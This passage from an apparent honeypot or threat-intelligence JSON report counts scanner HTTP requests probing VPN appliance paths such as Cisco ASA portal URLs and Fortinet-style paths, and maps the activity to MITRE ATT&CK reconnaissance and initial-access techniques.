      "\"GET /robots.txt HTTP/1.1\" 404 -": 35,
      "\"GET /version HTTP/1.1\" 404 -": 29,
      "\"PRI * HTTP/2.0\" 505 -": 29,
      "code 505": 29,
      "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -": 24,
      "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -": 23,
      "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -": 23,
      "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -": 22,
      "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -": 21,
      "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -": 21,
      "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -": 15,
      "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -": 15,
      "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -": 15
    },
    "top_usernames": {}
  },
  "x_mitre_attack": {
    "techniques": {
      "T1133": {
        "name": "External Remote Services",
        "tactic": "Initial Access",
        "ip_count": 1825,
        "sample_ports": []
      },
      "T1595": {
        "name": "Active Scanning",
        "tactic": "Reconnaissance",
        "ip_count": 1825,
        "sample_ports": []
      }
    },
    "tactic_summary": {
      "Initial Access": 1825,
      "Reconnaissance": 1825
    },
    "technique_count": 2,
    "primary_tactics": [
      "Initial Access",
      "Reconnaissance"
    ]
  }
}